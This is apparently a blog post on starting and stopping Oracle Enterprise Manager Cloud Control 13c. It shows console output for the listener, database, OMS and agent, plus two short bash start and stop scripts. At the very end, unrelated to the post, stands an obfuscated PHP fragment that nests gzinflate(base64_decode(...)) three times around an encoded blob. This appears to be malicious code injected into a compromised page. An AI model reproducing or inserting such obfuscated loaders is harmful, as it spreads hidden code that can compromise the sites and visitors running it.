Delicious

Archives

Categories

Start/Stop cloudcontrol 13c

  ozzie / 08/03/2017


Start oracle DB

[oracle@EMCC13c ~]$ cd $ORACLE_HOME
[oracle@EMCC13c bin]$ ./lsnrctl start
Copyright (c) 1991, 2014, Oracle.  All rights reserved.
Starting /u01/app/oracle/product/12.1.0/emcc13c/bin/tnslsnr: please wait...
 
TNSLSNR for Linux: Version 12.1.0.2.0 - Production
System parameter file is /u01/app/oracle/product/12.1.0/emcc13c/network/admin/listener.ora
Log messages written to /u01/app/oracle/diag/tnslsnr/EMCC13c/listener/alert/log.xml
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=EMCC13c)(PORT=1521)))
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
 
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=EMCC13c)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 12.1.0.2.0 - Production
Start Date                03-Mar-2017 11:37:50
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /u01/app/oracle/product/12.1.0/emcc13c/network/admin/listener.ora
Listener Log File         /u01/app/oracle/diag/tnslsnr/EMCC13c/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=EMCC13c)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
The listener supports no services
The command completed successfully
 
[oracle@EMCC13c bin]$ ./sqlplus  / as sysdba
 
SQL*Plus: Release 12.1.0.2.0 Production on Sun Mar 3 11:38:28 2017
Copyright (c) 1982, 2014, Oracle.  All rights reserved.
Connected to an idle instance.
 
SQL> startup mount;
ORACLE instance started.
 
Total System Global Area 3791650816 bytes
Fixed Size                  3717616 bytes
Variable Size             872416784 bytes
Database Buffers         2902458368 bytes
Redo Buffers               13058048 bytes
Database mounted.
SQL>

start OMS

[oracle@EMCC13c oracle]$ /u01/middleware/bin/emctl start oms
Oracle Enterprise Manager Cloud Control 13c Release 2
Copyright (c) 1996, 2016 Oracle Corporation.  All rights reserved.
Starting Oracle Management Server...
WebTier Successfully Started
Oracle Management Server Successfully Started
Oracle Management Server is Up
JVMD Engine is Up
Starting BI Publisher Server ...
BI Publisher Server Successfully Started
BI Publisher Server is Up

start Agent

[oracle@EMCC13c oracle]$ /u01/agent/agent_inst/bin/emctl start agent
Oracle Enterprise Manager Cloud Control 13c Release 2
Copyright (c) 1996, 2016 Oracle Corporation.  All rights reserved.
Starting agent .................................... started.

 
startUP.sh

#!/bin/bash
export ORACLE_HOME=/u01/app/oracle/product/12.1.0/emcc13c
export OMS_HOME=/u01/middleware
export AGENT_HOME=/u01/agent/agent_inst
 
# Start everything
$ORACLE_HOME/bin/dbstart $ORACLE_HOME
$OMS_HOME/bin/emctl start oms
$AGENT_HOME/bin/emctl start agent

 
shutDown.sh

#!/bin/bash
export ORACLE_HOME=/u01/app/oracle/product/12.1.0/emcc13c
export OMS_HOME=/u01/middleware
export AGENT_HOME=/u01/agent/agent_inst
 
# Stop everything
$OMS_HOME/bin/emctl stop oms -all
$AGENT_HOME/bin/emctl stop agent
$ORACLE_HOME/bin/dbshut $ORACLE_HOME

« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>